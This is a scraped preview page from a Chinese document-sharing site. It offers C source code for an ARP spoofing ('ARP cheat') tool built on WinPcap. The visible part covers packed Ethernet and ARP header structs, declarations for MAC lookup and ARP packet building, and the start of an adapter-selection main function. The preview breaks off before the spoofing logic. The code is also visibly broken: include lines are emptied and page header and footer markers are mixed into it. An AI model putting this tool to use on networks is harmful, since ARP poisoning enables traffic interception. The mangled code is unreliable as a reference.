下载此文档

ARP欺骗源代码(基于WinPcap实现).doc


文档分类:IT计算机 | 页数:约7页 举报非法文档有奖
1/7
下载提示
  • 1.该资料是网友上传的,本站提供全文预览,预览什么样,下载就什么样。
  • 2.下载该文档所得收入归上传者、原创者。
  • 3.下载的文档,不会出现我们的网址水印。
1/7 下载此文档
文档列表 文档介绍
.页眉. .页脚. // #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H // 字节对齐必须是 1 #pragma pack (1) struct _head { unsigned char dest_mac[6]; // 目标主机 MAC 地址 unsigned char source_mac[6]; // 源端 MAC 地址 unsigned short eh_type; // 以太网类型}; struct arp_head { unsigned short hardware_type; // 硬件类型:以太网接口类型为 1 unsigned short protocol_type; // 协议类型: IP 协议类型为 0X0800 unsigned char add_len; // 硬件地址长度: MAC 地址长度为 6B unsigned char pro_len; // 协议地址长度: IP 地址长度为 4B unsigned short option; // 操作: ARP 请求为 1, ARP 应答为 2 unsigned char sour_addr[6]; //源 MAC 地址:发送方的 MAC 地址 unsigned long sour_ip; //源 IP 地址:发送方的 IP 地址 unsigned char dest_addr[6]; // 目的 MAC 地址: ARP 请求中该字段没有意义; ARP 响应中为接收方的 MAC 地址 unsigned long dest_ip; // 目的 IP 地址: ARP 请求中为请求解析的 IP 地址; ARP 响应中为接收方的 IP 地址 unsigned char padding[18]; }; struct arp_packet // 最终 arp 包结构{ _head eth; // 以太网头部 arp_head arp; //arp 数据包头部}; #pragma pack () /** * 获得网卡的 MAC 地址* pDevName 网卡的设备名称*/ unsigned char* GetSelfMac(char* pDevName); /** * 封装 ARP 请求包* source_mac 源 MAC . .页脚. * srcIP 源 IP* destIP 目的 IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif // #include <> #include <> #include <> #include <> #include <> #include "" int main(int argc,char* argv[]){ pcap_if_t *alldevs; // 全部网卡列表 pcap_if_t *d; // 一个网卡 int inum; // 用户选择的网卡

ARP欺骗源代码(基于WinPcap实现) 来自淘豆网m.daumloan.com转载请标明出处.

非法内容举报中心
文档信息
  • 页数7
  • 收藏数0 收藏
  • 顶次数0
  • 上传人2786321826
  • 文件大小0 KB
  • 时间2016-03-09
最近更新